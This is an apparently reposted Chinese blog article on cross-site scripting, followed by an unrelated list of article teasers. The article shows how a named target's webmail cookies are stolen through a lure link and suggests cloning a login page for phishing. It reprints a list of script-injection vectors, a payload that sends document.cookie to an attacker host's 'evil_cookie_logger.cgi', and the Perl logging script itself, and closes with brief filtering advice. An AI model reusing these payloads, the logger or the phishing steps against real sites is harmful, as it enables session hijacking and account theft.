xcyuzhen
xcyuzhen

XSS防范

么是跨站脚本(CSS/XSS)?
我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据，用户认为该
页面是可信赖的，但是当浏览器下载该页面，嵌入其中的脚本将被解释执行，
有时候跨站脚本被称为"XSS"，这是因为"CSS"一般被称为分层样式表，这很容易让人困惑，
如果
你听某人提到CSS或者XSS安全漏洞，通常指得是跨站脚本。


XSS和脚本注射的区别？

原文里作者是和他一个朋友(b0iler)讨论后，才明白并非任何可利用脚本插入实现攻击的
漏洞都被称为XSS，还有另一种攻击方式："Script Injection",他们的区别在以下两点：
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.
2.跨站脚本是临时的，执行后就消失了
什么类型的脚本可以被插入远程页面？

主流脚本包括以下几种：
HTML
JavaScript (本文讨论)
VBScript
ActiveX
Flash


是什么原因导致一个站点存在XSS的安全漏洞？

许多cgi/php脚本执行时，如果它发现客户提交的请求页面并不存在或其他类型的错误时，
出错信息会被打印到一个html文件，并将该错误页面发送给访问者。
例如： 404 - yourfile.html Not Found!

我们一般对这样的信息不会注意，但是现在要研究CSS漏洞的成因，我们还是仔细看一下。
例：www.somesite.tld/cgi-bin/program.cgi?page=downloads.html
该URL指向的连接是有效的，但是如果我们把后面的downloads.html替换成brainrawt_owns_
me.html
，一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览
器。
考虑一下它是如何把我们的输入写到html文件里的？

OK，现在是我们检查XSS漏洞的时候了！

注意：下面仅仅是一个例子，该页面存在XSS漏洞，我们可以插入一写javascript代码到页面
里。当然方法很多
www.somesite.tld/cgi-bin/program.cgi?page=<script>alert(*XSS_Vuln_Testing*)</sc
ript>
当我们提交这个URL的时候，在我们的浏览器中弹出一个消息框，"XSS_Vuln_Testing"?
这个例子只是一个XSS漏洞的简单演示，并无实际意义，但足以说明问题所在。

下面我们分析一下造成该运行结果的原因，program.cgi对我们的输入没有经过有效过滤处理
，
就直接写入404 error页面中，结果创建了一个页面，如下：
<html>

<b>404</b> - <script>alert(*XSS_Vuln_Testing*)</script> Not Found!

</html>

其中的javascript脚本通过浏览器解释执行，然后就出现了你所看到的结果。


如何利用XSS来完成*ing？

如同前面所提到，如果用户提交的请求不能得到满足，那么服务器端脚本会把输入信息写入
一个
html文件，当服务器端程序对写入html文件的数据没有进行有效过滤，恶意脚本就可以插入
到
该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。

事例：

假设你发现myemailserver.tld有CSS漏洞，你想要获得其中一个人的email帐号，比如我们的
目标是b00b这个人。
www.myemailserver.tld/cgi-bin/news.cgi?article=59035
把上面存在CSS漏洞的连接修改一下：
www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
这会创建了一个错误页面，我们得到如下信息：
Invalid Input! [article=hax0red]

当插入下面这样的javascript代码时，你的屏幕上会弹出一个包含test的消息框。
www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert(*test*)<
/script>
<script>并没有打印到屏幕上，它是隐藏在背后执行，由于服务器端程序并没有对
<script>alert(*test*)</script>进行有效过滤，所以在页面发回到浏览器并执行了该脚本
。

下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱，首先你必须知道b00b的email地址，
并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接，嘿嘿，当然
它的用意就是从b00b机器中cookie信息里获得自己想要的东东。
想办法让b00b访问myemailserver.tld站点发表的文章，比如说：”亲爱的b00b,看看这个美
女
如何呀？”

那么当可怜的b00b访问 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取
并保存cookie的脚本
</script>
连接时，发生什么事情？cookie都有了，你该知道怎么办了吧！

如果在你目前不是这样的情形，你可以拷贝email服务器的登陆页面，挂到其他的系统上，
然后引导用户登陆你的恶意系统页面
这样用户信息你可以记录下来，然后再把记录的信息发送回真正的email服务器页面，
那些笨蛋并不会意识到实际发生的事情。

把javascript脚本插入WEB页面的不同方法：

<snip>
拷贝自：GOBBLES SECURITY ADVISORY #33
Here is a cut-n-paste collection of typical JavaScript-injection *s
you may derive some glee from playing with.

<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="/javascript：[code]">
<img dynsrc="/javascript：[code]"> [IE]
<input type="image" dynsrc="/javascript：[code]"> [IE]
<bgsound src="/javascript：[code]"> [IE]
&<script>[code]</script>
&{[code]}; [N4]
<img src="/&";{[code]};> [N4]
<link rel="stylesheet" href="/javascript：[code]">
<iframe src="/vbscript：[code]"> [IE]
<img src="mocha:[code]"> [N4]
<img src="/livescript:[code]"> [N4]
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript：[code]">
<body onload="[code]">
<div style="background-image: url(/javascript：[code]);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression([code]);"> [IE]
<style type="text/javascript">[code]</style> [N4]
<object classid="clsid:..." codebase="javascript：[code]"> [IE]
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<script>[code]</script>
<img src="/blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="/javascript：[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[/xC0][/xBC]script>[code][/xC0][/xBC]/script> [UTF-8; IE, Opera]

----Copied from GOBBLES SECURITY ADVISORY #33----
</snip>


一个真正的获取cookie并且做记录的例子：

注意：要使它工作，你的浏览器必须允许接受 http://website.tld 站点发送的cookies，
当我测试下面的信息时，使用
javascript创建访问者的cookies，javascript脚本放在index.html文件中。
OK，下面假设 http://website.tld 存在XSS攻击的安全隐患，存在漏洞的连接是：
http://website.tld/program.cgi?input=< ;evil javascript>
我们创建这样一个连接：
http://website.tld/program.cgi?input=< ;script>document.location=* http://yoursite
.tld
/cgi-bin/evil_cookie_logger.cgi?*+documents.cookie</script>
然后让保存该站点cookie的用户访问这个连接：

这是我们的CGI脚本，它的作用就是对用户cookie做记录：

---------evil_cookie_logger.cgi-----------

#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.

$borrowed_info = $ENV{*QUERY_STRING*};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:
text/html/n/n something went wrong/n";
print EVIL_COOKIE_LOG "$borrowed_info/n";
print "Content-type: text/html/n/n";
close(EVIL_COOKIE_LOG);

------------------------------------------

该脚本首先通过 $ENV{*QUERY_STRING*}获得cookie，打印到$borrowed_info变量里，
通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log")，把cookie信息保存到evil_cookie_lo
g文件。

注意：上面的javascript脚本，可能在一些浏览器或者站点上不能执行，
这仅仅是我在自己的站点上做测试用的。

如何防范XSS攻击？
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码，对提交输入数据进行有效检查，如"<"和">"。

可以把"<"，">"转换为<，>
注意：由于XSS漏洞可被利用的多样性，程序员自己要明白具体需要过滤的字符，
这主要依赖于所开发程序的作用，建议过滤掉所有元字符，包括"="。

对受害者来说不要访问包含<script>字符的连接，一些官方的URL不会包括任何脚本元素。

你可能感兴趣的:(JavaScript,html,浏览器,Cookies,脚本,testing)

  • Dubbo HTTP接入架构 向阳1218 java并发编程dubbohttp架构
    前端http流量接入Dubbo后端微服务体系的基础架构不论你开发的是什么样的产品（电子商城、管理系统、手机app等），绝大多数下产品的流量入口都会是http，用户可能通过浏览器、手机移动设备、桌面软件等来访问产品。在这种情况下，如何将后端开发的Dubbo微服务集群接入前端访问设备就成为一个需要解决的问题，其实也就是http与rpc之间的转换与连接问题。总的来说，有中心化和去中心化两种架构模式。其中
  • 基于Html+Css+javascript的网页制作（旅游主题） 二挡起步 web设计网页规划与设计前端cssjavascripthtml
    Web前端开发技术描述网页设计题材，DIV+CSS布局制作,HTML+CSS网页设计期末课程大作业，茶游景点介绍|旅游风景区|家乡介绍|等网站的设计与制作|HTML期末大学生网页设计作业HTML：结构CSS：样式在操作方面上运用了html5和css3，采用了div+css结构、表单、超链接、浮动、绝对定位、相对定位、字体样式、引用视频等基础知识JavaScript：做与用户的交互行为文章目录前端学
  • Margin测试 妈妈再也不用担心我的电路辣 服务器
    1.含义Margin（裕度、余量）Margin测试是电子系统中中评估设备在参数偏离标称值时的工作能力。2.目的确定系统的稳定性和可靠性边界。3.举例内存margin测试（MemoryMarginTesting）通过主动调整内存的电压、时序、频率至极限，验证内存系统的可靠性边界。示例：DDR4的工作电压是1.2V，将DDR4内存电压从1.2V提升至1.35V（超压），或降低至1.05V（欠压），测试
  • 技术长期主义：用本分思维重构JavaScript逆向知识体系（一）Babel、AST、ES6+、ES5、浏览器环境、Node.js环境的关系和处理流程 朴拙数据交易猿 javascript重构es6
    基础不牢，地动山摇，逆向越久，越发现基础的重要性，本系列，回顾js逆向基础，让自己的知识体系更加系统化。以下是Babel、AST、ES6+、ES5、浏览器环境、Node.js环境的关系和流程的详细说明及图表：一、核心关系图表ES6+代码Babel:解析,转换,生成AST抽象语法树:语法树操作ES5代码:浏览器/Node.js兼容Polyfill如core-js浏览器环境Node.js环境二、详细流
  • 个人网站：基于html、css、js网页开发界面 Yolo@～ javascripthtmlcss
    1、注册注册页面//校验用户名functioncheckUsername(){varusername=document.getElementById("username").value;varspan=document.getElementById("usernameSpan");varreg=/^[\u4e00-\u9fa5]{2,4}$/;//2-4位汉字if(username===""||u
  • 解锁数据结构：线性表链式表示的奇妙之旅 大雨淅淅 数据结构算法数据结构
    目录一、什么是线性表的链式表示二、线性表链式表示的类型与特点2.1单链表：最简单的链式结构2.2循环链表：首尾相连的环2.3双向链表：双向通行的道路三、线性表链式表示的操作实现3.1初始化链表3.2插入节点3.3删除节点3.4查找节点四、线性表链式表示的应用场景4.1操作系统中的进程调度4.2浏览器的前进和后退功能五、链式表示与其他数据结构的比较5.1与顺序表对比5.2与数组对比六、总结与展望一、
  • 鸿蒙NEXT开发【CMake构建工程配置HarmonyOS编译工具链】编译构建 沙人防火历飞雨 开发日常harmonyos鸿蒙系统openharmony编译cmake构建工程鸿蒙
    简介CMake是一个跨平台的构建工具，用于管理构建过程、编译、链接和打包软件项目，它可以生成Makefile等用于不同操作系统和编译器的构建脚本。CMake的配置过程是跨平台的，因此可以在不同的操作系统上运行，例如Linux、Windows和macOS。CMake构建过程可分为以下三个主要步骤：配置（Configuration）：配置阶段是CMake解析CMakeLists.txt文件的过程。在配
  • “端到端”流程 扉间798 人工智能
    home.html设置表单文件上传框文件上传按钮predict.html图像变量path表单提交地址get返回按钮后端app.py模型编译加载模型创建自定义图像处理函数将图像转为数组调整图像大小做归一化创建跟路由判断请求方法是不是post从请求中提取文件获取文件名设置保存路径将文件保存到路径调用图像处理函数模型预测字典返回html返回预测结果返回图像路径model加载数据集转换为4维归一化处理独热
  • HTML&CSS：必学！手把手教你实现动态天气图标 前端Hardy CSShtmlcss前端javascript3d
    这段HTML和CSS代码描述了一个动态天气图标集合的效果，通过CSS动画和样式实现了多种天气状态的动态展示。大家复制代码时，可能会因格式转换出现错乱，导致样式失效。建议先少量复制代码进行测试，若未能解决问题，私信回复源码两字，我会发送完整的压缩包给你。演示效果HTML&CSS公众号关注：前端Hardyhtml{box-sizing:border-box;}html*,html*:before,ht
  • 如何实现高性能的在线 PDF 预览 水煮白菜王 2025前端pdf前端性能优化
    作者简介：水煮白菜王（juejin/csdn同名），一位前端劝退师文章专栏：高德AMap专栏，记录一下平时学习在博客写作中记录，总结出的一些开发技巧✍。感目录思路实现方案1.服务器对PDF文件进行分片2.浏览器（客户端）根据用户交互行为获取并渲染指定的分片获取远程的pdf文档PDFDocumentLoadingTaskPDFDocumentProxyPDFPageProxy实现细节下载PDF分片渲
  • VUE3+TypeScript项目，使用html2Canvas+jspdf生成PDF并实现--分页--页眉--页尾 猫在裙角jslms VUE3.0pdfjavascript前端vue.jstypescript
    使用html2Canvas+JsPDF生成pdf，并实现分页添加页眉页尾1.封装方法htmlToPdfPage.ts/**path:src/utils/htmlToPdfPage.tsname:导出页面为PDF格式并添加页眉页尾**//***封装思路*1.将页面根据A4大小分隔边距，避免内容被中间截断*所有元素层级不要太深，只有一个表格需要再深入判断，向上统计高度*constparentEleme
  • TypeScript 类 vs. ES6 类：深入对比与最佳实践 vvilkim TypeScripttypescriptes6javascript
    在现代JavaScript开发中，类（Class）是面向对象编程（OOP）的核心概念之一。ES6（ECMAScript2015）引入了基于原型的类的语法糖，而TypeScript在兼容ES6类的基础上，通过静态类型系统和额外特性进一步增强了类的功能。本文将深入探讨TypeScript类与ES6类的区别，涵盖类型系统、访问控制、抽象类、接口实现、装饰器等关键特性，并分析它们在实际开发中的应用场景和最
  • 前端多线程革命：深入探索 Worker 技术的应用与未来 斯~内克 javaScript前端javascript
    引言在单线程统治前端开发的漫长岁月里，开发者们始终面临着一个根本性矛盾：日益复杂的业务需求与JavaScript单线程运行机制之间的冲突。当我们试图在浏览器中实现图像处理、大数据计算或实时通信等复杂功能时，总会遇到界面卡顿、响应延迟等性能瓶颈。Worker技术的出现，犹如一道曙光，为前端开发打开了通向多线程世界的大门。本文将带您深入探索WebWorker、ServiceWorker和Worklet
  • 使用 JavaScript 实现撤销和重做功能的实现思路与伪代码 斯~内克 javaScript开发记录javascript开发语言ecmascript
    一、核心实现原理命令模式+双栈机制操作记录栈（undoStack）：存储所有已执行的操作撤销恢复栈（redoStack）：存储被撤销的操作每个操作需要记录反向操作（用于撤销时的逆向执行）二、基础实现（伪代码）classUndoRedoManager{constructor(){this.undoStack=[];//操作记录栈this.redoStack=[];//撤销恢复栈this.curren
  • 【JS学习】（2）symbol关键字和在ts中的使用 yanxy512 TS学习JS学习javascript学习前端typescript
    在JavaScript和TypeScript中，symbol是一种原始数据类型（PrimitiveType），用于创建唯一的标识符。它在ES6中被引入，主要用于解决属性名冲突问题，以及实现一些高级的编程模式。1.symbol的基本概念(1)定义symbol是一种原始数据类型，表示一个唯一的值。每次调用Symbol()都会生成一个全新的、独一无二的值，即使它们的描述相同。示例constsym1=Sy
  • 【TS学习】（5）装箱和拆箱 yanxy512 TS学习学习typescript前端javascript
    在JavaScript和TypeScript中，装箱（Boxing）和拆箱（Unboxing）是与原始类型（PrimitiveTypes）和包装对象（WrapperObjects）相关的概念。它们描述了原始值如何被转换为对象形式，以及对象形式的值如何被还原为原始值。1.装箱（Boxing）(1)定义装箱是指将原始值（如string、number、boolean等）临时转换为其对应的包装对象（如St
  • 结合 DeepSeek 将测试用例转换为 Playwright 和 Selenium 脚本 Python测试之道 测试提效python测试用例seleniumeasyui
    在实际测试场景中，测试工程师可能已经有大量的测试用例，但手动将这些用例转化为自动化脚本（如Selenium或Playwright）往往非常耗时。通过DeepSeek的语义分析和自然语言处理能力，可以自动解析测试用例并生成对应的Playwright或Selenium自动化脚本，从而显著提升效率。以下内容将展示如何结合DeepSeek，将测试用例动态生成Playwright和Selenium脚本，并应
  • 零基础小白也能轻松掌握！从零搭建GitHub项目并实现自动化部署，附带详细代码解析 Android洋芋 github自动化运维配置GitDocker镜像
    一、准备工作：让编程之旅启航A.安装Git环境在开始之前，我们需要确保本地机器上安装了Git。Git是一个分布式版本控制系统，它能帮助我们管理和下载GitHub上的项目。Windows用户打开浏览器，访问Git官网。在页面顶部找到“Downloads”选项，点击进入下载页面。根据你的操作系统选择对应的版本（例如64位或32位），然后点击“DownloadforWindows”按钮。下载完成后，双击
  • C 语言的起源与发展 KingWolfOfSky 万花筒语言c编译器unixpascal汇编
    C语言的开发DennisM.RitchieBellLabs/LucentTechnologiesMurrayHill,NJ07974USA原文：http://cm.bell-labs.com/cm/cs/who/dmr/chist.html摘要C编程语言是在1970年代早期作为初创的Unix操作系统的系统实现语言而设计的。起源于无类型的BCPL语言，它发展出了类型结构；它建立在一个小机器上、作为改
  • Kaboom.js 常见问题解决方案 郁音允Zoe
    Kaboom.js常见问题解决方案kaboomJavaScriptgamelibrary项目地址:https://gitcode.com/gh_mirrors/ka/kaboom项目基础介绍Kaboom.js是一个用于快速开发游戏的JavaScript库。它提供了一套简单而强大的API，帮助开发者轻松创建2D游戏。Kaboom.js的设计理念是让游戏开发变得快速且有趣，适合初学者和有经验的开发者使
  • 开源项目Kaboom.js快速入门指南 吴发崧
    开源项目Kaboom.js快速入门指南kaboomJavaScriptgamelibrary项目地址:https://gitcode.com/gh_mirrors/ka/kaboom欢迎来到Kaboom.js的快速入门之旅！Kaboom.js是一个轻量级的游戏引擎，专为构建简单却令人兴奋的像素游戏而设计。本指南旨在帮助您理解其核心结构，让您快速上手开发自己的小游戏。以下是三个关键部分的详细介绍：1
  • 探索游戏开发新境界：KAPLAY——快速构建游戏的神器 芮伦硕
    探索游戏开发新境界：KAPLAY——快速构建游戏的神器kaplayAJavaScriptgamelibrary项目地址:https://gitcode.com/gh_mirrors/ka/kaplay在游戏开发的广阔天地里，KAPLAY正以其独特魅力，成为开发者的新宠儿。这是一款基于JavaScript的游戏引擎库，旨在让游戏创作既快捷又乐趣横生。想象一下，无需繁琐的底层编码，仅需几行代码就能搭建
  • 红宝书第二十七讲：详解WebAssembly与asm.js如何实现高效执行 前端javascript
    红宝书第二十七讲：详解WebAssembly与asm.js如何实现高效执行资料取自《JavaScript高级程序设计（第5版）》。查看总目录：红宝书学习大纲一、asm.js：让JS跑得更快的秘密JavaScript的性能优化方案，通过提前明确类型减少引擎负担，可提升运行速度1。核心原理flowchartLRC/C++源码-->编译器(Emscripten)-->asm.js代码-->JS引擎优化执
  • JavaScript 变量声明：var, let, const 到底有什么区别？ 碳烤小咸鱼 javascript前端开发语言
    一、基础用法对比//var：函数作用域，可重复声明vara=10;vara=20;//允许重复声明//let：块级作用域，不可重复声明letb=10;letb=20;//报错：重复声明//const：块级作用域，不可重新赋值constc=10;c=20;//报错：无法修改常量二、作用域差异//var的函数作用域functiontest(){varx=10;if(true){varx=20;//覆盖
  • “宝藏”开源项目，带你用Three.js玩转3D可视化 开源项目精选 javascript3d开发语言
    Three.js是一个基于WebGL的JavaScript库，它提供了一套易于使用的API用来在浏览器中创建和显示3D图形。通过抽象和简化WebGL的复杂性，Three.js使开发者无需深入了解WebGL的详细技术就能够轻松构建和渲染3D场景、模型、动画、粒子系统等。Stars数105437Forks数35657主要特点提供了一套完整的工具和API，用于创建和管理3D场景、几何体、纹理、光照、材质
  • springboot thymeleaf html转pdf两种实现 天天不想学习 springbootpdfjava
    thymeleaf是用来获取html数据的，毕竟是个模版，传参最终拼成html的字符串string。获取html传入给相关组件。在网上找了N多方式。itext5,pdfbox,puppeteer,还有个googleheader命令行。还有问前端有没有什么好的推荐，前端直接让后端来搞。后两个没测试，看着网上说的效果不错。给我的感觉就是截图，转pdf，具体我并没有实现。itext5需要前端调整它能支持
  • docker对MySQL初始化脚本执行 THe CHallEnge of THe BrAve 笔记dockermysql容器
    -v/data/mysql-docker/mysql_init:/docker-entrypoint-initdb.d是Docker运行容器时的一个参数，用于将宿主机（主机）的目录挂载到容器内的特定目录。以下是其具体含义和作用的详细解释：1.参数含义-v：Docker的卷（Volume）挂载参数，用于将宿主机的目录或文件挂载到容器内。/data/mysql-docker/mysql_init：宿主
  • 使用Ollama部署deepseek，并支持浏览器访问 花开莫与流年错_ AIdeepseekaiopenwebuiollamadocker
    使用docker配置后快速简单部署deepseek，如果没有，先自行安装好docker，以下我安装的ollama实在arm上运行的（香橙派aipro）1、安装ollamadockerpullswr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/ollama/ollama:0.3.6-linuxarm642、启动ollamadockerrun-d-vo
  • Lua语言脚本环境配置 花开莫与流年错_ 笔记lua开发语言游戏mod游戏开发
    参考地址：Lua教程|菜鸟教程Windows等直接下载安装地址：LuaBinaries上面也是会跳转下载：https://sourceforge.net/projects/luabinaries/下载解压后在“环境变量”中添加路径，添加后如果cmd中还是无法使用lua命令，可能是exe文件名不一致，删除文件名后缀或命令添加后缀linux下载源码安装curl-L-R-Ohttps://www.lua
  • webpack4和webpack5，为什么要使用5而不用4？ 酒江 前端前端框架经验分享
    Webpack4和Webpack5是两个版本的Webpack，广泛用于现代前端开发中，它们有一些显著的差异和改进。Webpack是一个模块打包器，主要用于将JavaScript文件、CSS、图片等静态资源打包到一起，以便在浏览器中使用。主要区别1.默认配置和优化Webpack4:Webpack4引入了“Production”和“Development”模式（默认配置）。需要手动安装和配置一些功能（
  • springmvc 下 freemarker页面枚举的遍历输出 杨白白 enumfreemarker
    spring mvc freemarker 中遍历枚举 1枚举类型有一个本地方法叫values（），这个方法可以直接返回枚举数组。所以可以利用这个遍历。 enum public enum BooleanEnum { TRUE(Boolean.TRUE, "是"), FALSE(Boolean.FALSE, "否");
  • 实习简要总结 byalias 工作
    来白虹不知不觉中已经一个多月了，因为项目还在需求分析及项目架构阶段，自己在这段 时间都是在学习相关技术知识，现在对这段时间的工作及学习情况做一个总结： （1）工作技能方面 大体分为两个阶段，Java Web 基础阶段和Java EE阶段 1）Java Web阶段 在这个阶段，自己主要着重学习了 JSP, Servlet, JDBC, MySQL，这些知识的核心点都过 了一遍，也
  • Quartz——DateIntervalTrigger触发器 eksliang quartz
    转载请出自出处：http://eksliang.iteye.com/blog/2208559 一.概述 simpleTrigger 内部实现机制是通过计算间隔时间来计算下次的执行时间，这就导致他有不适合调度的定时任务。例如我们想每天的 1：00AM 执行任务，如果使用 SimpleTrigger，间隔时间就是一天。注意这里就会有一个问题，即当有 misfired 的任务并且恢复执行时，该执行时间
  • Unix快捷键 18289753290 unixUnix；快捷键;
    复制，删除，粘贴： dd:删除光标所在的行                             &nbs
  • 获取Android设备屏幕的相关参数 酷的飞上天空 android
    包含屏幕的分辨率  以及 屏幕宽度的最大dp 高度最大dp   TextView text = (TextView)findViewById(R.id.text); DisplayMetrics dm = new DisplayMetrics(); text.append("getResources().ge
  • 要做物联网？先保护好你的数据 蓝儿唯美 数据
    根据Beecham Research的说法，那些在行业中希望利用物联网的关键领域需要提供更好的安全性。 在Beecham的物联网安全威胁图谱上，展示了那些可能产生内外部攻击并且需要通过快速发展的物联网行业加以解决的关键领域。 Beecham Research的技术主管Jon Howes说：“之所以我们目前还没有看到与物联网相关的严重安全事件，是因为目前还没有在大型客户和企业应用中进行部署，也就
  • Java取模（求余）运算 随便小屋 java
            整数之间的取模求余运算很好求，但几乎没有遇到过对负数进行取模求余，直接看下面代码： /** * * @author Logic * */ public class Test { public static void main(String[] args) { // TODO A
  • SQL注入介绍 aijuans sql注入
    二、SQL注入范例 这里我们根据用户登录页面 <form action="" > 用户名：<input type="text" name="username"><br/> 密 码：<input type="password" name="passwor
  • 优雅代码风格 aoyouzi 代码
    总结了几点关于优雅代码风格的描述： 代码简单：不隐藏设计者的意图，抽象干净利落，控制语句直截了当。 接口清晰：类型接口表现力直白，字面表达含义，API 相互呼应以增强可测试性。 依赖项少：依赖关系越少越好，依赖少证明内聚程度高，低耦合利于自动测试，便于重构。 没有重复：重复代码意味着某些概念或想法没有在代码中良好的体现，及时重构消除重复。 战术分层：代码分层清晰，隔离明确，
  • 布尔数组 百合不是茶 java布尔数组
      androi中提到了布尔数组;   布尔数组默认的是false,  并且只会打印false或者是true   布尔数组的例子;  根据字符数组创建布尔数组 char[] c = {'p','u','b','l','i','c'}; //根据字符数组的长度创建布尔数组的个数 boolean[] b = new bool
  • web.xml之welcome-file-list、error-page bijian1013 javaweb.xmlservleterror-page
    welcome-file-list 1.定义： <welcome-file-list> <welcome-file>login.jsp</welcome> </welcome-file-list>  2.作用：用来指定WEB应用首页名称。   error-page1.定义： <error-page&g
  • richfaces 4 fileUpload组件删除上传的文件 sunjing clearRichfaces 4fileupload
     页面代码               <h:form id="fileForm">            <rich:
  • 技术文章备忘 bit1129 技术文章
    Zookeeper http://wenku.baidu.com/view/bab171ffaef8941ea76e05b8.html http://wenku.baidu.com/link?url=8thAIwFTnPh2KL2b0p1V7XSgmF9ZEFgw4V_MkIpA9j8BX2rDQMPgK5l3wcs9oBTxeekOnm5P3BK8c6K2DWynq9nfUCkRlTt9uV
  • org.hibernate.hql.ast.QuerySyntaxException: unexpected token: on near line 1解决方案 白糖_ Hibernate
    文章摘自：http://blog.csdn.net/yangwawa19870921/article/details/7553181   在编写HQL时，可能会出现这种代码： select a.name,b.age from TableA a left join TableB b on a.id=b.id  如果这是HQL，那么这段代码就是错误的，因为HQL不支持
  • sqlserver按照字段内容进行排序 bozch 按照内容排序
    在做项目的时候，遇到了这样的一个需求：           从数据库中取出的数据集，首先要将某个数据或者多个数据按照地段内容放到前面显示，例如:从学生表中取出姓李的放到数据集的前面；          select * fro
  • 编程珠玑-第一章-位图排序 bylijinnan java编程珠玑
    import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.io.Writer; import java.util.Random; public class BitMapSearch {
  • Java关于==和equals chenbowen00 java
    关于==和equals概念其实很简单，一个是比较内存地址是否相同，一个比较的是值内容是否相同。虽然理解上不难，但是有时存在一些理解误区，如下情况： 1、 String a = "aaa"; a=="aaa"; ==> true 2、 new String("aaa")==new String("aaa
  • [IT与资本]软件行业需对外界投资热情保持警惕 comsci it
          我还是那个看法,软件行业需要增强内生动力,尽量依靠自有资金和营业收入来进行经营,避免在资本市场上经受各种不同类型的风险,为企业自主研发核心技术和产品提供稳定,温和的外部环境...       如果我们在自己尚未掌握核心技术之前,企图依靠上市来筹集资金,然后使劲往某个领域砸钱,然
  • oracle 数据块结构 daizj oracle块数据块块结构行目录
    oracle 数据块是数据库存储的最小单位，一般为操作系统块的N倍。其结构为： 块头－－〉空行－－〉数据，其实际为纵行结构。 块的标准大小由初始化参数DB_BLOCK_SIZE指定。具有标准大小的块称为标准块（Standard Block）。块的大小和标准块的大小不同的块叫非标准块（Nonstandard Block）。同一数据库中，Oracle9i及以上版本支持同一数据库中同时使用标
  • github上一些觉得对自己工作有用的项目收集 dengkane github
    github上一些觉得对自己工作有用的项目收集 技能类 markdown语法中文说明 回到顶部 全文检索 elasticsearch bigdesk elasticsearch管理插件 回到顶部 nosql mapdb 支持亿级别map, list, 支持事务. 可考虑做为缓存使用 C
  • 初二上学期难记单词二 dcj3sjt126com englishword
    dangerous 危险的 panda 熊猫 lion 狮子 elephant 象 monkey 猴子 tiger 老虎 deer 鹿 snake 蛇 rabbit 兔子 duck 鸭 horse 马 forest 森林 fall 跌倒；落下 climb 爬；攀登 finish 完成；结束 cinema 电影院；电影 seafood 海鲜；海产食品 bank 银行
  • 8、mysql外键(FOREIGN KEY)的简单使用 dcj3sjt126com mysql
    一、基本概念 1、MySQL中“键”和“索引”的定义相同，所以外键和主键一样也是索引的一种。不同的是MySQL会自动为所有表的主键进行索引，但是外键字段必须由用户进行明确的索引。用于外键关系的字段必须在所有的参照表中进行明确地索引，InnoDB不能自动地创建索引。 2、外键可以是一对一的，一个表的记录只能与另一个表的一条记录连接，或者是一对多的，一个表的记录与另一个表的多条记录连接。 3、如
  • java循环标签 Foreach shuizhaosi888 标签java循环foreach
    1. 简单的for循环 public static void main(String[] args) { for (int i = 1, y = i + 10; i < 5 && y < 12; i++, y = i * 2) { System.err.println("i=" + i + " y="
  • Spring Security（05）——异常信息本地化 234390216 exceptionSpring Security异常信息本地化
    异常信息本地化          Spring Security支持将展现给终端用户看的异常信息本地化，这些信息包括认证失败、访问被拒绝等。而对于展现给开发者看的异常信息和日志信息（如配置错误）则是不能够进行本地化的，它们是以英文硬编码在Spring Security的代码中的。在Spring-Security-core-x
  • DUBBO架构服务端告警Failed to send message Response javamingtingzhao 架构DUBBO
     废话不多说，警告日志如下，不知道有哪位遇到过，此异常在服务端抛出(服务器启动第一次运行会有这个警告)，后续运行没问题，找了好久真心不知道哪里错了。    WARN 2015-07-18 22:31:15,272 com.alibaba.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(84)
  • JS中Date对象中几个用法 leeqq JavaScriptDate最后一天
    近来工作中遇到这样的两个需求 1. 给个Date对象，找出该时间所在月的第一天和最后一天 2. 给个Date对象，找出该时间所在周的第一天和最后一天   需求1中的找月第一天很简单，我记得api中有setDate方法可以使用 使用setDate方法前，先看看getDate var date = new Date(); console.log(date); // Sat J
  • MFC中使用ado技术操作数据库 你不认识的休道人 sqlmfc
    1.在stdafx.h中导入ado动态链接库 #import"C:\Program Files\Common Files\System\ado\msado15.dll" no_namespace rename("EOF","end")2.在CTestApp文件的InitInstance()函数中domodal之前写::CoIniti
  • Android Studio加速 rensanning android studio
    Android Studio慢、吃内存！启动时后会立即通过Gradle来sync & build工程。 （1）设置Android Studio a) 禁用插件 File -> Settings...  Plugins 去掉一些没有用的插件。 比如：Git Integration、GitHub、Google Cloud Testing、Google Cloud
  • 各数据库的批量Update操作 tomcat_oracle javaoraclesqlmysqlsqlite
    MyBatis的update元素的用法与insert元素基本相同，因此本篇不打算重复了。本篇仅记录批量update操作的 sql语句，懂得SQL语句，那么MyBatis部分的操作就简单了。 　　注意：下列批量更新语句都是作为一个事务整体执行，要不全部成功，要不全部回滚。 MSSQL的SQL语句 　WITH R AS（ 　　SELECT 'John' as name, 18 as
  • html禁止清除input文本输入缓存 xp9802 input
    多数浏览器默认会缓存input的值，只有使用ctl+F5强制刷新的才可以清除缓存记录。如果不想让浏览器缓存input的值，有2种方法： 方法一： 在不想使用缓存的input中添加 autocomplete="off"; eg: <input type="text" autocomplete="off" name
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他